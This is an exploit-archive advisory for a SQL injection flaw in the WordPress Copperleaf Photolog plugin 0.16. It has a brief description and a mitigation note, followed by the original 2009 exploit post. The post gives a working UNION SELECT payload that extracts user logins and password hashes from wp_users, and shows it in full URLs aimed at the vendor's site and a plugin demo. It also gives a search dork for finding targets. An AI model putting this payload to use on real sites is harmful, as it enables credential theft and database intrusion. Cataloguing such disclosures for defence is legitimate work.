WordPress Copperleaf Photolog SQL injection

vendor:

Copperleaf Photolog

by:

kaMtiEz

5.5

CVSS

MEDIUM

SQL injection

CWE

Product Name: Copperleaf Photolog

Affected Version From: 0.16

Affected Version To: Lower versions may also be affected

Patch Exists: NO

Related CWE:

CPE: a:copperleaf_project:copperleaf_photolog

Metasploit:

Other Scripts:

Platforms Tested:

2009

WordPress Copperleaf Photolog SQL injection

The WordPress Copperleaf Photolog plugin is vulnerable to SQL injection. The vulnerability allows an attacker to execute arbitrary SQL queries in the context of the application's database. By exploiting this vulnerability, an attacker can potentially gain unauthorized access to sensitive information or modify the database.

Mitigation:

The vendor has not provided a fix for this vulnerability. It is recommended to disable or remove the vulnerable plugin until a patch is available.

Source

Exploit-DB raw data:

#############################################################################################################
## WordPress Copperleaf Photolog SQL injection			                                           ##
## Author : kaMtiEz (kamzcrew@yahoo.com)								   ##
## Homepage : http://www.indonesiancoder.com    	     					    	   ##
## Date : 15 February, 2009 						                                   ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.copperleaf.org/
[+] Download : http://www.copperleaf.org/wp-content/code/cpl0.16.zip
[+] version : 0.16 / lower maybe also affected
[+] Vulnerability : SQL
[+] Dork : "CiHuY"
[+] LOCATION : INDONESIA - JOGJA
#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/wp-content/plugins/cpl/cplphoto.php?postid=[INDONESIANCODER]&id=[VALID ID]

[ XpL]

+and+1=1+union+all+select+1,2,concat(user_login,0x3a,user_pass),4,5,6,7,8,9,10,11,12+from+wp_users--

[ DEMO ]

[+] Demo Vendor

http://www.copperleaf.org/wp-content/themes/limon/cplphoto.php?postid=416+and+1=1+union+all+select+1,2,concat(user_login,0x3a,user_pass),4,5,6,7,8,9,10,11,12+from+wp_users--&id=2097

[+] Demo plugins

http://demo.com/wp-content/plugins/cpl/cplphoto.php?postid=11+and+1=1+union+all+select+1,2,concat(user_login,0x3a,user_pass),4,5,6,7,8,9,10,11,12+from+wp_users--&id=11

[ FIX ]

dunno :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack,senot
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBl13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] r3m1ck : look at this .. hha 
[+] Don Tukulesto : kapan maen lage ?
[+] d0ntcry : semangat br0th .. belajar terusssss ...

[ QUOTE ]

[+] we are not dead INDONESIANCODER stil r0x
[+] nothing secure ..